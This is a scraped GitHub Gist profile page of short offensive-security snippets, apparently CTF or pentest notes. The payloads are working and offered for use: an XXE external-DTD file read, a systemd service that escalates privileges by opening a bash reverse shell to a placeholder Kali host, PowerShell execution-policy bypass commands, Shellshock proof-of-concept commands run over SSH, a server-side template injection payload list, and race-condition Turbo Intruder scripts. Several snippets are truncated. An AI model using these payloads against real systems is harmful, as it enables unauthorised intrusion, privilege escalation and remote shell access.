Skip to content

Instantly share code, notes, and snippets.

View adithyan-ak's full-sized avatar
:electron:
Breaking and Building Code

Adithyan AK adithyan-ak

:electron:
Breaking and Building Code
View GitHub Profile
@adithyan-ak
adithyan-ak / dtd.xml
Created April 11, 2021 11:15
External DTD XXE
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'file:///C:/Users/Administrator/Desktop/root.txt'>">
Payload :
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
%sp;
%param1;
@adithyan-ak
adithyan-ak / server.py
Created April 11, 2021 11:17
Python3 HTTP Server with Request Logging
#!/usr/bin/env python3
"""
Very simple HTTP server in python for logging requests
Usage::
./server.py [<port>]
"""
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class S(BaseHTTPRequestHandler):
@adithyan-ak
adithyan-ak / root.service
Last active April 24, 2021 07:40
Systemctl Privilege Escalation by creating a malicious service file
[Unit]
Description=Systemctl Privesc
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KaliIP/9999 0>&1'
[Install]
WantedBy=multi-user.target
@adithyan-ak
adithyan-ak / xscreenshot.sh
Created April 22, 2021 17:56
xscreensaver to get tcpdump to work without needing root
#!/bin/sh
# credits : @taviso
# You can use xscreensaver to get tcpdump to work without needing root.
#
tmpdir=$(mktemp -d)
cat << EOF > ${tmpdir}/sock.c
#include <unistd.h>
#include <stdio.h>
@adithyan-ak
adithyan-ak / PowershellBypass.ps1
Created April 25, 2021 07:39
Bypass the PowerShell Execution Policy Restrictions
https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/
powershell.exe -ExecutionPolicy Bypass
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1
PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1
Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -
powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA
Set-ExecutionPolicy Bypass -Scope Process
@adithyan-ak
adithyan-ak / shellshock.sh
Created May 8, 2021 07:32
Shellshock Bash Exploit
# Shellshock PoC
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
# executing arbitrary commands by exploiting SSH via shellshock
ssh [email protected] '() { :;}; whoami'
# spwan bash shell by exploiting SSH via shellshock
ssh [email protected] '() { :;}; /bin/bash'
@adithyan-ak
adithyan-ak / ssti.txt
Created May 15, 2021 07:46
Payload list for Server Side Template Injection
{{2*2}}[[3*3]]
{{3*3}}
{{3*'3'}}
<%= 3 * 3 %>
${6*6}
${{3*3}}
@(6+5)
#{3*3}
#{ 3 * 3 }
{{dump(app)}}
# Test: %s
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=False
)
# the 'gate' argument blocks the final byte of each request until openGate is invoked
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=100,
pipeline=False
)
# regular wordlist
for line in open('C:\wordlist.txt'):
engine.queue(target.req, line.rstrip())
@adithyan-ak
adithyan-ak / python2.sh
Created November 16, 2021 01:01
Python2 Installation
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
sudo python2 get-pip.py
# upgrade setup tools to avoid "invalid command egg_info" error
pip2 install --upgrade setuptools
# install python-dev to avoid "x86_64-linux-gnu-gcc failed..." error
sudo apt-get install python-dev